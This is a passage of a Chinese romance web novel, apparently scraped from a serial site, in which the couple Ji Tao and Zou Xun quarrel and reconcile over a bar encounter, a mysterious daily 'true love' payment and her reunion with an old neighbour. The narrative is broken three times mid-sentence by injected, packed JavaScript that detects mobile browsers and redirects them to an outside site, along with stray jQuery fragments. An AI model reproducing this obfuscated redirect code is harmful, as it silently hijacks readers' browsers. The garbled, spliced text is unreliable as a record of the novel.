那天后来,她挺高兴的,还和邹巡一起去吃了麻辣烫。 可是,并不是像他说的那样,错了就错了。 现在,他又说了这两个字,常理。他还是认为她不懂事,而他,手里握着强大的真理,不容辩驳。 季桃一时没说话,邹巡走到客厅,过一会儿,传来扫地机器人的声音,还有他挪东西、擦桌子的声音。 周末,他一般会抽空把家里细细清洁一遍,但以往都是这个时候打扫卫生吗,季桃有点想不起来。她想,邹巡到底在想什么? 怎么又猜测邹巡心思了,这毛病得改。她止住自己。 他当然是生气了,昨天他就生气了,但他不说,只丢给她两个背影——昨天她和别人聊天,他也和几个女生坐在一起的时候,后来去酒吧三楼,她从洗手间回来的时候,都只看见他的背影——那是他生气的背影! 季桃心中冷哼,生气了直说不行?你又不是不知道,我最讨厌猜! 真的,最烦那种人,就喜欢别人揣摩他的意思,装得和领导一样,厅长还局长呀。哪怕你就是个领导,也用不着围着你,琢磨你一举一动一言一语吧,琢磨出学问了都,时间净耗在这上面,累不累。 假若邹巡做领导,肯定是最恶劣的一种。他让你揣摩他因何不满,等你主动承认错误,你若没及时发现,这不,他就来提醒了。但也是“点到为止”,还给你留着面子,让你满心委屈发不出来,——还不如狠批一顿罚写检查呢。 季桃没有被领导“敲打”过,但她完完整整体会到了那种难受的心情。 有话不直说,这是其一,看不起别人,这是其二,以为自己最了不起,这是其三。都列到三了,难怪惹人恼火。 不说算了,我清楚你生气的原因,而且,我会直接说出来。 季桃跳下床,追进客厅。“你是不是信不过我,以为我想去廖展飞酒店?”隔着餐桌,她站在邹巡对面,质问他,“你把我想成什么了?” “我当然不会那么以为。”邹巡一脸吃惊。 你也真会演。季桃心道。“那你干嘛生那么大气,你把我叫走不就行了,干嘛非要坐下和他废话?” “我看他不爽,给他个教训。”邹巡的双眼闪出危险的光。 这次不是普通吃醋,也不是超级吃醋,不是那么回事,这次不是。 20. 摔门 “你不就是希望我把纸条当他面撕了把酒泼他脸上扇他一巴掌吗?对不起,我让你失望了。”季桃流畅、清晰地说。 邹巡的声音沉沉的:“我没有希望你怎样,你怎样做都行,我对你的看法不会变。我是对廖展飞生气,不是对你。”他丢下抹布,绕过季桃,去卫生间擦擦手。 季桃追着他:“对我。你和一个第一次见面不认识的人有什么好生气?何况你还赢了,更不用生气。你就是生我的气,因为我不懂道理。一个巴掌拍不响,苍蝇不叮无缝的蛋,这是人人都该懂得的道理,对吧?” “你别胡说!他至少比你大十岁,和他比,你太单纯了。” “你还大我五岁呢,你是不是看我也太幼稚?” “是。”邹巡不迟疑道,“有时候你确实挺幼稚。不过这也正常,你才……” “这不正常!”季桃狠狠地叫了起来,跳到他面前,“我又不是小孩了,我都上班了,还不懂事?你既然知道我不懂事,怎么不提醒我,怎么不说:‘你别和男的那么亲近,不然就是主动给对方提供骚扰的机会?’——对了,我不谦虚,所以,你要让事儿教我,让我吃点苦头,永远记住!” “不是说你不懂事的意思,我从来都没觉得你不懂事,昨天更没有。我怎么可能想让你吃苦头?我喜欢你‘不谦虚’。——昨天我确实生气,看见别人乱打我女朋友主意,能不生气吗?生气的时候,我有时也控制不住情绪,但我就是把自己气死,心里也不会怪你,这是底线。好了,别想那些不开心的。”他哄慰地说,“饿不饿,想吃什么?” “我不想吃。” “那再喝点水。”邹巡又去倒水。 心底深处,季桃明白,理在邹巡那边,那些“理”可以给他做武器,但吵架的时候,谁都不该持有武器。 她讨厌他总有道理,讨厌吵架时他也能冷静克制,讨厌自己永远是无理取闹的一方。 邹巡说得对,她就是想把他从所有高地上拉下来。但是她自己也不想站上去。为什么要有制高点?他们两个人应该站在平地上,平得像一张桌子的平地上,吵架的时候就没有地方躲避,没有空间迂回,他们必须直面对方,互相嘶吼,亮出尖牙,像草原上的两头狮子。 “那你到底什么意思?”邹巡走到面前时,季桃不接杯子,直盯着邹巡眼睛,“你怎么这么矛盾,说我懂事,又不信我能处理好?嫌我性子不好,受了欺负要急,怎么了,我不急了也不行啊?——我又不是第一回看见男人,有些人就那个样,别理他,事情就过去了。廖展飞和我们有什么关系?我们不用理他,不用再见他。你不是想教训他,你是杀鸡给猴看,你是要教训我,你要教教我应该怎么做。” “我再说一遍,我没……” “我幼稚,你也好不到哪里去。廖展飞能因为这件事就改变吗,你非要去给他个‘教训’?你和上回袁楚欣男朋友跟唱歌的人找碴有什么区别?” 邹巡把杯子哐一声放在桌上:“季桃,你好好想一想,这两个是不是一回事?” 季桃头疼得要命,没法儿想,也不愿想。 “对,不是一回事,还不如直接找碴打架呢。我最讨厌两个人坐那儿口是心非、阴阳怪气,无聊不无聊?” “好,是我无聊,下次我直接点儿。” “什么下次?哪来的下次?你就是觉得我永远不会长记性是吧。” “没有下次就没有,随你。” “连这次都没有!” “行,没有,昨天我就该当作没看见、不干预,行了吧。” “但是你已经看见了,已经干预了。我还没问你当时把我当什么,你们两个男的打嘴仗的战利品吗,我能不能有点自主意识?我要是喜欢他,你把他摁地上我也去,我不喜欢他,我自己不理他就完了,你激动个什么劲。你怎么比他心思还多啊。” “那我把他再约出来,当面道个歉?”邹巡冷声说。 “你不用去,我去,我去骂他打他,我现在就去。”季桃拉开门就要向外跑,不顾自己还穿着睡衣和拖鞋。 “季桃!”邹巡抓住她的手腕,“你不要这么任性。” “我哪里任性了,知错不改才是任性,我现在就去改正。你拉我干嘛,我做错了,你让我改正啊。” “我没说你错了。你没错。” “你说我不应该,那不就是错了?” “我不是那个意思,好吧我以后不说了。你好好的,咱们好好的。”邹巡用力抓住季桃的两条胳膊,而季桃拼命想要挣出来,使劲踢他。 “我不去,真不去,你放开!” 邹巡松了手,季桃跑回卧室换衣服,飞快把胳膊腿伸进T恤短裤,又去洗脸。 “你去哪儿?”邹巡站在卫生间门口问。 “我哪儿也不去。我穿个衣服洗个脸没碍你事吧?”季桃没擦脸上的水,伸出被捏得红红的手臂在水龙头下冲着。 邹巡没说话,转身走开。 等季桃从卫生间出来,邹巡走进去,砰地把门一关。 “少跟我摔门!”季桃喊。 邹巡还是不吭声。 季桃也得摔一次门才痛快,她甩掉拖鞋,两只脚不分先后地塞进球鞋,冲出家门。枪灰色的钢板门连同半面墙壁在她身后一震。 已经跑下楼了,季桃才发现自己身上什么都没装,连手机都没拿。她站了一分钟,只好返身上去。 到了五楼,她又站了一分钟。 她想起邹巡第一次带她来,两个人站在门口,给她录指纹。 “不管什么时候,你都可以来。”当时他说。 她搬来后,有次他说:“指纹锁有个好处,万一哪天我不小心惹你生气了,你赌气出门,发现什么东西都没拿,你还可以悄悄回来,不需要钥匙,也不用敲门。” “你去哪儿了,我敲门你还不给我开啊?”她说。 “你生气,肯定不想看见我,我不敢露面,我正跪在键盘上反省呢。” 季桃开门进屋,进卧室拿手机。邹巡打开了笔记本电脑,背对着她。 他没回头,没问一个字,稳稳地坐着,笃定她没有地方可去。 季桃也没说话,在客厅坐下。她确实没地方可去,能去哪里呢,天这么热。 中午时,邹巡从门外拎进几盒饭菜,在桌上摆好。季桃眼睛一扫,看见有葱油小河虾,还有鸭血豆腐,知道是为她点的,不等邹巡开口招呼,就去坐下吃了——再生气也不能把自个儿饿死。 等她离开邹巡才去吃,风卷残云。 肚子饱了,情绪也好些了。季桃认为邹巡 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16965314|192693||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是借她喜欢的菜委婉地表示道歉。她等着,看他怎么说。 可邹巡一个字不说,吃完收拾好,他又去坐在电脑前了。谁没有正事啊?季桃心头又一阵火起,干脆也打开电脑画图。这时,她想起廖展飞问她平日上班的情形,一副很有兴趣的模样,两道笑纹在脸上游来荡去。恶心死了,她啪地合上电脑。 邹巡说她幼稚。她怎么会幼稚,向来就怕别人说她不懂事。幼稚?她还嫌大部分男生幼稚呢。——所以才对廖展飞这种成熟男人有好感?所以,才会因廖展飞肯和她讨论严肃话题心怀感激?好吧,她是幼稚,幼稚到被人一眼看穿,被人利用,她的人生彻底失败了。 但说她任性她不认!没有资格。从十四岁起,她就再没有任性过了。连青春叛逆期都没有。也是哦,别人叛逆,可以几个月不和父母说一句话,她本来就是这样,怎么叛逆?逆不起来。 那就现在好了,试试自己有没有几天不说话的本事。 上学时吵过架,或许是因为没住在一起,或许因为吵得不那样厉害,反正坐在教室,看邹巡已经发来了道歉消息,不多久也就冷静下来了。可是这次两人低头不见抬头见的,脖子一扭就能看见对方无动于衷的身影,火一点儿也消不下去。 晚饭和午饭时情形一样。晚上,季桃抢先占了床,把空调开得很低,裹进被子。要是邹巡要脸,就应该去沙发上睡。 不要脸。 季桃醒来时,看见邹巡侧躺着,面朝着她。两人盖着同一张薄薄的大被单,中间空着一臂距离。这时房间中还是黑的,只有窗户是一个铅灰色的方块。 但她能看见邹巡也睁着眼睛,或许是感觉到的。她感觉邹巡的睫毛动了动,睫毛在眼睑下方生成一道比别处更深的阴影,但最深的还是他的眼睛,注视着她。 “醒了?” 她轻轻点了点头,头发在枕头上蹭出细微的声音。 “让你睡那么早。”邹巡好像是笑她昨晚九点钟上床,但他随即很认真说了句对不起。他低声说,“我想了大半晚上,不知道你怎样才肯原谅我。” “大半晚上?”季桃忍住笑,“让你白天不想。” “白天在找借口原谅我自己。” “你怎么了?” “你是给朋友帮忙,而且我也答应了谭一伊,但看他们和你聊天,我还是忍不住想生气。” “那你找到借口了?” “自己挑的女朋友嘛——谁让我这么有眼光,这么会挑,一下子就挑出你这么好的一个,怎么能赖别人也喜欢呢?” “就你自己美吧,人家才不稀罕。” “不不,肯定稀罕。别的不知道,但他们受过艺术熏陶的人,眼光绝对是一流的。不过,谁让他们晚了一步呢,那就没办法了,靠边站吧。” 季桃咬着嘴唇不笑,半天说:“那你大半晚上想什么了?” 邹巡换了严肃的语调:“季桃,我知道廖展飞欺负不了你,他是不自量力,但是他有那个想法,我也不能答应。” “所以呢?“ “还是想揍他。” “你就想了这个?”季桃快笑出声了。 “我就想了几秒钟,揍他不值得想更久。我还想了别的。” “什么?” “我错了。”邹巡说。 21. 隐隐不对 季桃没问。为什么错,到底错在哪儿,没必要解释。对错都无所谓,他是愿意给她恣意任性的权利。 她向邹巡伸出手,一臂距离,指尖正好触到他胸前。 “别动。”邹巡握住她的手。 “动都不让动,什么认错态度。”季桃嘀咕。 “我怕你以为我就是想那个,才认错。” “你不想?”季桃脚伸过去,格格一笑说,“想还不承认,真是的,又当又立。” “没不承认,我想。但不是为这个。” “那是什么?” “是我错了。”停了一秒钟,他又说,“是我爱你。” 他不大说这几个字,反正,她不追问,他从不主动说。 所以,说出来一次,好像有形体般,看得见也摸得着,但是,又不好辨认是什么形状,什么触感,因为她好像是在梦里。 但她能清楚地感觉到他,和自己。他在她身体里,在身体外。他的爱在她梦里,在梦外。 窗帘已经很亮了,院中有晨练的音乐声隐隐传来。季桃摸出枕边的手机,坐起身。 “不再躺会儿?”邹巡问。 季桃没答,迅速转过头,把手机杵在他眼前:“七点零九了,没收到短信!” 邹巡躺着不动,看也不看手机一眼,只瞅着季桃:“明天就能收到了。” “你怎么知道?”季桃怀疑刚才自己删短信动作被他看出来了。不可能吧,明明一秒钟都没有。 “要不要打赌?“邹巡笑着说,“前提是今晚睡觉时你把手机放到我这边,你不许动,一直到明早七点,咱们看看谁赢?” 季桃瞪着邹巡。 他忽地笑了:“季桃,打赌都不敢,骗人都不会。”伸手把她一拉,拉到自己胸膛上,“刚才还没让你服,是吧?” “我服了我服了,好了,还上班呢。”季桃赶快爬起来穿衣服,一边问邹巡,“你到底怎么知道的,咱们昨天吵那么厉害,你就不担心?” “你担心了?” “我才不担心。” “就是嘛。吵架怎么了。”邹巡也起身穿衣,“神明当初说的是彼此相爱,可没说不许吵架。” “那你道歉时知道今天一定会收到钱?” “知道呀,但是知道也要道歉,我要自己亲口道歉,而不是让神明替我说。” “我是说你为什么就能肯定,一定会收到钱?” “为什么?”邹巡顿了两秒,“我没想过为什么,反正就是知道。而且,确实收到了。” “什么神明嘛,自己都是个变来变去的家伙。不准,根本不准,我不爱你了。”季桃抓起手机,把前几天的短信也删了几条,又把手机扔到一边。现在她真有点讨厌有这么个东西,让邹巡对她的心思十拿九稳。 邹巡过来抱住她:“它准的,不过它不看你,只看我。” 乍一听,季桃满意了,但细一想又不对,她推开邹巡:“你意思是说:我季桃爱你,是绝对绝对不会改变的事,是普适常量,不依赖时间、空间、观测者,而你爱我,是个变量,所以才需要神明监测?” 她顺嘴就用了邹巡之前给她解释物理概念时提到的词,邹巡笑了:“那你刚好说反了。” “是你自己先说的!”季桃跳起身去拿银行卡,“我今天和领导请假,明天就去银行把卡注销了,以后谁也别看谁。” “好好,我陪你去销卡,别为这个再生气,太不值了。” 第二天,卡里又多了一万元。季桃照常去上班,邹巡送她,然后自己去上班,注销卡的事没人再提。毕竟神明说过,即使账户冻结,新办的卡也能收到奖金,何必去讨麻烦?更何况,谁和钱当真过不去啊。 不过,那种隐隐不对的感觉,还是留在了季桃心里。 她知道——恋爱中的女生凭本能就知道——要让两个人的感情永远如夏日海风一般新鲜、热烈,确实需要用心“经营”,比如,不断发现对方每一个微小的侧面,比如,头脑中不时冒出点儿新东西让对方发现。但还有很关键的一点:爱情需要一些捉摸不定。 两个人建立稳固的感情,前提是彼此信任,但信任的是这个人,相信他的品质,相信他的真诚,而不是相信他的爱。男女之爱,是捉摸不定的。 而她和邹巡之间的捉摸不定,被神明抹去了。——其实还要更糟,是单单从邹巡那一边抹去了。因为当初是在打算和邹巡分手的当口“获奖”,季桃对神明的判断,始终打着一个问号。但邹巡好像不一样,不管他嘴上如何说,他似乎是不折不扣地信任“真爱奖”,也意味着,他全心全意认为季桃全心全意爱他。 这可不太好办。在无人处,季桃蹙着眉头,偷偷琢磨。 在某个瞬间,她终于想起问自己:邹巡有没有因为把感情看得万无一失就对她的各种小情绪不闻不问?有没有因为每日收到奖金就懒得再在其它地方表示他的关心?答案是没有,完全没有。 那不就行了?她怎么忘了,男人和女人不一样,男人都是直来直去的。邹巡是个学物理和计算机的程序员,正儿八经的理科男生,在某些方面尤为“单纯”。可能在没有“真爱奖”之前,他就是这样全心全意相信她的爱,获得奖金,对他来说,除了多一笔钱外,并无不同。 季桃安心了。 谭一伊打来电话,声音又尖又急,快哭出来了:“对不起对不起,我真不知道廖展飞是那种人,我真没想到他人模狗样,竟然是个大色棍。我同事喻珠跟我说,我才知道。” 季桃把当时的情形大致告诉她,谭一伊更生气:“操,哪怕留个手机号微信号呢,也太直白太不要脸了,好歹一个文化人,还不如XX。”她骂了句脏话。 “后来你们又见过廖展飞没?” “没,那天他突然就走了,不过给我们结了好多酒钱,我还以为他是因为有事、半途离开才过意不去,我还打算道个谢,再另约呢。我让喻珠联系他,喻珠说联系不上,我才听喻珠说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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差不多十日后,谭一伊打电话给季桃:“你知道吗,有位已故大画家S——比W出名早,名声更大。他家人都在美国,之前我试着联系了一次,人家倒是挺有礼貌的,说不太方便,把我婉拒了。我想着肯定没戏了,本来到处就很难见到S的画,我就没再找。没想到前几天他家人主动联系我,说我们这个画展很有意义。S是大陆过去的,晚年的时候总想回来,没回来成,画了几幅思乡的画。他人虽然不在了,但是精神长存,他家人愿意送一幅画来,运输都不用我管,人家已经打包装箱空运过来了,我们都签收了,就等着展出。 “更搞笑的是,W那边不知道怎么听见了,说能和大师同场展出是他的荣幸,赶紧把他的画也送来了。” “……不说了,还有个麻烦呢,海报得改版重印。别人我不放心,我得亲自去盯盯这个事,别出了岔子。”谭一伊满足地抱怨着,挂了电话。 22. 倾囊相授 周末若没有别的事,季桃和邹巡通常会去打半天网球。季桃学会打网球是在刚认识邹巡那个暑假。邹巡听说她要打暑期工,介绍了一份“看孩子”的工作:雇主是他先前上班那家外企驻中国的美籍高管,工作内容是陪高管十岁的女儿玩,无非是打球、游泳、逛博物馆、吃吃喝喝、看电影。邹巡带季桃和对方见面,彼此都很满意,只是季桃有点忐忑:“我不会打网球啊。”邹巡说:“我教你,和小朋友对打,不用多高的球技。” 实际上,小朋友水平颇不赖,为了不被笑话,季桃跟邹巡苦学了一周,后来每周还练习两三次,渐渐养成了习惯。 她自得地问:“我进步快吧?” “废话,不看你跟谁学的?”邹巡说,“我打得好,又是倾囊相授。” 不就是比我多练四年嘛。季桃又服又不服,不过她知道,反正邹巡喜欢和她一起玩——有什么比运动场上的青年男女更赏心悦目?她看邹巡好看,邹巡看她,当然更好看,不然,何必费心费力“倾囊相授”。 好久后,有一回,季桃突然想起来,对邹巡说:“你觉不觉得倾囊相授这个词有点儿黄?” 邹巡大笑一阵,抱住她说:“季桃,你这么可爱,我实在忍不住不倾囊相授。” 总之,运动就是让人心情愉快,哪怕天气闷热,下午不想再出门,但上午打过球,出过汗,身心得到放松,季桃便心满意足待在家里。 邹巡已在ACM发了论文,按照学校规定,可以提前毕业。他向导师申请,预备在11月完成答辩,现在他正在写学位论文。 他在床上盘腿坐着,这姿势不大舒服,但邹巡一点儿都不介意,笔记本稳稳架在腿上,时不时抬起头,看投在墙上的F1比赛。 比赛是两周前的,但最近邹巡公司里事忙,即便不加班,他也不得不经常在家处理工作,为了弥补,一有空闲,他尽量陪季桃,连喜欢的比赛也可以搁下。不过到底还是喜欢,所以这会儿,他一边写论文,一边见缝插针瞄几眼。 季桃以前就笑过他:“你怎么这样一心二用。” 邹巡说:“我还能十用呢,强大的cpu都是多核多线程。” 季桃也喜欢同时干几件事,不过只限于轻松休闲的事;在学习上,她只能走“专心”一途,假使她写论文,别说看电视了,恨不得万物皆不存在,好使大脑全神贯注。她有点嫉妒邹巡做事的轻松和有条不紊,故意装作不以为然的样子:“嘁,别美了,说明你根本不是人,是台机器!” 不过,邹巡和她在一起,无论是看剧、吃饭、散步还是聊天,都绝不会分心再干别的。季桃隐隐会想:“你再厉害有什么了不起,在感情上你只有‘一根筋’,碰到我也没辙,狂不起来了吧?”她感到得意,又想其实自己学习效率也挺高,就不再过多苛求了。 这时,季桃也在床上趴着,读一本《风景与记忆》。有位老师曾在课堂上提过这本书,推荐阅读英文原版。季桃不习惯在电子屏上看英文,便买了纸质书,厚厚一大本,一页一页翻,读得很认真。引擎的轰鸣和轮胎擦地的声音,以及解说员激动的话语,对她来说全是没有意义的背景音,不过,她听着还挺惬意的。 季桃从来没能喜欢赛车,但邹巡爱看,使她喜欢了比赛的声音。她的眼睛盯在书页上,可是翻页时偶尔向后侧一扫,扫到邹巡端坐的身影;她的两只脚丫翘起来,在空中胡乱摇晃,有时候碰到邹巡身上,就又晃开去。这样,两个人各做各事,互不干扰,但她从视觉、听觉、触觉上都能感受到邹巡在她身边。 邹巡看着季桃。她怎么那么爱乱动,要是躺在床上看书看手机,时不时就要换个姿势,一时蜷缩,一时舒展,像逐格镜头下的花瓣绽开又卷起。 不过今天这本书厚,大概举着嫌累,所以她倒是趴着不挪窝,换成两条腿来回摇。 裤筒落下去,露出小腿,直灼人眼。 邹巡喉咙发紧,想要抓住那只脚踝。 上次和她一起看书,他把书扔到一边,她还大惊小怪:“你干嘛,不是看书吗?” 看不进去,写不进去。你在这儿。 邹巡伸出手。 季桃的手机响了,是个陌生号码。 邹巡立即把电视声音关小,季桃扭头,摆摆手,示意他没事,一边接起电话。大概率是个骚扰电话。 对面一个略粗犷、但也挺好听的男声问:“是季桃吗?” “我是。”季桃答。这个声音莫名熟悉,接下来的话肯定不是推销某产品,但若请问对方哪位,好像就是把他和那些办校园贷的、考研培训招生的归于一类了,那就有点不好意思。 犹豫间,那边笑了:“你可能不记得我了,我是以前住在楼下的高恒,你哥哥的同学。”他一笑,季桃一下就听出来了。 “高恒哥哥!”她喊了一声,邹巡望她一眼,季桃没看见。“我当然记得你。你在哪儿?” 高恒报了一个医院名字:“我在这儿实习,刚过来的。我记得你好像是在这边上学,就问你舅舅要了电话。”停了停,说,“你要是不忙的话,咱们一起吃个饭,见面再聊。” “我不忙,什么时间都可以。不过你们医院应该很忙吧,看你。” “我也都可以,你随便定,要不然——” “就今天?”两个人异口同声,又都笑起来。 这一下就消除了多年不见的隔阂和拘谨,季桃想起高恒原来就是个很随和很亲切的人。高恒又说:“我对你们这儿还不太熟,找了几家好像都是网红餐厅,也不知到底好不好,你推荐一个地方吧。” 季桃在C市不过暂居,不过高恒把她看作此间的主人,也让她挺高兴。“那咱们去吃——”季桃打住,“算了,你是医生,你肯定要说不健康。” 高恒笑道:“没关系,我学的是神经外科,对消化的问题暂且放它一马。” “神外啊,你太厉害了。我们还是找个安静的地方吧。你加我微信,就是这个号码,我想好地方告诉你。” 挂掉电话,季桃立即打开微信,等着高恒加她。消息很快就来了,她备注“高恒”,嘴里一边轻轻念出这两个字。 “高恒哥哥?”邹巡问。 “其实是个邻居。” 季桃翻开高恒朋友圈,个人生活动态寥寥无几,照片更是一张都没有,这点他倒和邹巡很像。不知如今他变成什么模样了。季桃用文字对高恒说:“我现在就想地方,等我一会儿。你是从医院出发还是哪里?” 发完,她才对邹巡说:“以前他父母和我舅舅是一个医院的,也在一栋楼上住。后来他们家搬去外地了。” “是你上高中时搬走的?” “不是,上高中前。”季桃盯着手机,呆呆望着高恒的回话:“我从医院出发,不过别来这边,这里没有好吃的。就在你住的地方附近吧。” 那是她刚上初二的时候。妈妈和爸爸离婚,卖了房子,一半钱给了爷爷奶奶,从此与爸爸一家彻底断了关系,剩下的一半房款又平分两份,一份妈妈拿着去了澳大利亚,另一份给舅舅,让季桃去舅舅家住,念完中学。 外公外婆家离舅舅家不远,也有空余房间接纳季桃,但妈妈的理由是:家里只有老人,季桃在学校恐怕会受欺负。 季桃转去的是个重点中学,校风当然不错,不过,同学间的“欺负”有时是无形的。季桃作为转校插班生,连个不礼貌的眼神都没遭遇,可见妈妈的决策英明。学校就在医院旁边,很多学生是医院子弟,部分家长和老师称呼季桃是“季大夫家的姑娘”;每天上学放学晚自习,都有上高二的表哥以及表哥的同班同学同行,也为季桃消除了最初的紧张情绪。 高恒是表哥的同学之一,他的父母都是主治大夫,工作繁忙,因此他常常去季桃舅舅家蹭饭吃。慢慢,季桃与他熟了,听说他学习好,有时拿不会的功课向他请教。 那时高恒父母就准备调去别的医院,但怕影响高恒学业,等到他高考完才走。而高恒并没随父母一起搬家,他还等着放榜那些事,仍然留在旧宅,高三后的暑假还常常辅导季桃。之后,高恒去上大学,季桃入了高中,只有表哥和高恒还有联系,假期回家,说高恒问过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16977357|192693||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她学习情况。学生对老师最好的感谢大概就是送一份优异成绩了,季桃庆幸自己成绩不差,就是不知表哥转告没有,后来,也没再听到高恒的消息。 回想从前,季桃有些内疚,她考上了大学,都毕业了,却把昔日的“良师益友”给忘了。 季桃本来不愿对邹巡细说中学时的事,破天荒一次讲起来:“别看我现在聪明,初中时可是有点笨,多亏高恒给我讲题,有一天我突然就开窍了。要不是他,说不定我考不上大学,起码考不上J大。真的,高中的时候我上过课外补习,一节课两百,老师都没高恒讲得好。对了,你补过课没?” “没。”邹巡懒洋洋答。 “一看你就是对自己水平过于自信,要是补了,肯定能上J大。” 邹巡问:“高恒给你讲哪门?” “主要是物理,他物理好。那会儿我刚开始学物理,一点儿都学不明白,满分十分的作业才得两分。他辅导了几次,后来就八、九分了。” “他物理好?有多好?”邹巡问。 “怎么了,当然不能和你比,起码还差着二十个我呢。” 不好笑,邹巡没笑,甚至可能都没听,好久才“唔”一声。 “你帮我想个地方,一会儿我要请他吃饭。去哪里好?”季桃问。 时间是三点多,虽然还不急,但她跳下床,拉开衣柜。 听舅舅说过,高恒父母调到外地医院,都是主任医师,高恒来的三院也是本市数一数二的医院。请这么一位前途无量的医生吃饭,不光是挑个好馆子的事,还得格外用心。“去个高级一点的地方吧。”她对邹巡说,开始挑衣服。 衣柜里的衣服多一半是最近刚买的,有几件还没来得及上过身,有大牌,也有便宜的,不过她的眼光嘛,肯定都好看,邹巡也无一例外地称赞“好看”,所以,随便拣一件,错不了。但今天,季桃决定认真地挑选。 她取一件露腰连衣裙,照镜子比了比。平常上班上学的时候,她穿得比较“保守”,不过和邹巡出门玩时,露肩露背都不在话下,露腰当然也没什么。但这时,她想起自己朋友圈里的几张照片都是保守形象,高恒要是看了,存了个第一印象,一会儿冷不丁看见她本人,会不会觉得反差过大?季桃不由弯了弯嘴,放下露腰裙,又把样子很乖的荷叶肩无袖衬衫拨到一边——该让高恒看看,如今她长大了,不再是当初那个不谙世事的小丫头。最后,她取出一件T恤和牛仔裤,T恤是第一眼平平无奇第二眼有风格的白T恤,穿上率性而动人,不显得潦草,也不显得用力打扮过。 瞬间响起的咆哮吓了季桃一跳,原来邹巡又把赛车音量调高了,他专注地盯着墙上的屏幕。 “你帮我想个吃饭地方嘛。”季桃大声再说一遍,“那种好吃、人少、安静、又比较放松的。” 邹巡把眼睛挪到笔记本上,手底下劈里啪啦地敲击键盘,好一会儿才说:“我怎么知道哪有那种地方?” “你不是什么都知道?再说你可以搜一下嘛。” “我忙着呢。” 季桃向邹巡脸上一瞟,知道他是心里不爽了,暗暗好笑,同时又有点着恼:那时才初中啊,她都不太记得高恒的样子了。当初高恒帮了她多少,好多年,好容易见这么一次,邹巡怎么这样小气? “对不起,你看比赛吧。不敢打扰你,我自己找。” “行了,季大小姐。”邹巡拖长声音,懒洋洋拿起手机,“这位高材生喜欢吃什么?” “不知道,反正选个好点的地方,因为我特别特别感谢他。” “感谢他讲题?难不成是倾囊相授?” 季桃气得手脚瞬间发麻,但她故意笑着,漫不经心说:“我想起来了,他喜欢吃凉拌莴笋,葱油豆腐,冬瓜排骨。有一天我舅妈不在,我做了这几样菜,他说特别好吃。” “你喜欢做菜?怎么再也不做了?” “因为有人不稀罕吃!”季桃也不装了,重重地说。当初确实是邹巡拦着不让她做饭。 邹巡张了张口,好像要说什么,却又咽回去了。 23. 又吵 季桃心里一惊。前几天刚吵过一大架,那之前还有一次,过后想起,不就那么点儿事。邹巡肯定也意识到了,所以忍着,不想再吵起来——可既然他明白,又说什么怪话? 不管怎样,季桃压了压火气,说:“这个高恒和我表哥是高中同学,他学了医,现在在三院实习,我估计他可能会留在这儿,以后去看病就很方便了。” “你为什么想着生病?”邹巡转脸看着她,语调冰冷。 “因为谁都有可能生病。”季桃心里的火扑地又被扇起来了。 “那也是不大要紧的病,不用提前担心。”邹巡还是看着她,漆黑的眼珠像一潭深水。季桃看着他的眼睛,想看清楚里面到底是什么,可是邹巡又开口说:“再说,我不放心找实习大夫。” 季桃抓起床上自己的手机和书,跑到客厅沙发去看。 明明十分钟前还一派悠闲,无忧无虑,怎么会突然阴云密布?不对,她应该知道,任何事情都不可能总是好好的,她就知道! 英文单词一个个在眼前乱飘,卧室里传来比赛的声音,嘈杂、难听、烦。 是邹巡挑事,先惹她,再装冷静——冷静个屁,这会儿,还放噪音吵她。 “声音小点儿,吵死了。”她喊一句。 马上没了动静。可是季桃后悔了,她转身背朝着卧室方向,蜷起腿,双手环住,膝盖压在脸上,拼命压住抽泣声。 一只手臂从身后搂过来,圈住她的腿,把她整个儿拉到怀里。 季桃用肩膀顶邹巡:“走开,别碰我。” “别哭了。” “谁哭了?”一语未了,季桃大哭起来。 邹巡扳过她的身体,搂着她,轻轻拍她:“别哭了,别哭了,季桃,是我不对。” 哭声渐渐止歇,但季桃嘴巴还是扁着,嗓子眼也一扁,发出细细的哭腔:“你哪里不对?” “你先不哭了我再说。乖,别哭了,不然一会儿怎么出门见人?你倒是无所谓,怎样都好看,眼睛哭肿了鼻子哭红了,下巴哭成个小桃核了,也好看。你让人家怎么想我?合着整天就欺负你啊?这还没见面呢,第一印象就不好,以后我去看病,人家都不给我行方便开后门。” 季桃先是扑哧一笑,听到最后又抬头瞪他:“别乱咒自己,你不会生病。” “对,对,咱们谁也不生病,让医生都饿肚子去。所以你待会儿得好好请他吃顿饱饭。地方已经有了。” 季桃认真看着邹巡:“以后我们别再吵了好吗,一吵架,我心里就特别难受,特别害怕。” “害怕什么?” 季桃犹豫一下,还是老老实实说:“害怕你以后再也不理我。” 邹巡猛地抱住她,紧紧收拢手臂。“我也是。我和你一样。我们以后不吵了。” 伏在他肩上,静静过了几分钟,季桃突然抬起脸:“但是也不可能完全不吵。” 邹巡笑了,摸摸她头发:“反正你不用怕,你看哪次吵架不是只要你肯拉拉手,马上就好了?” 季桃推开他:“你什么意思,就是想让我主动服软?” “不用不用,我主动,我服软。” 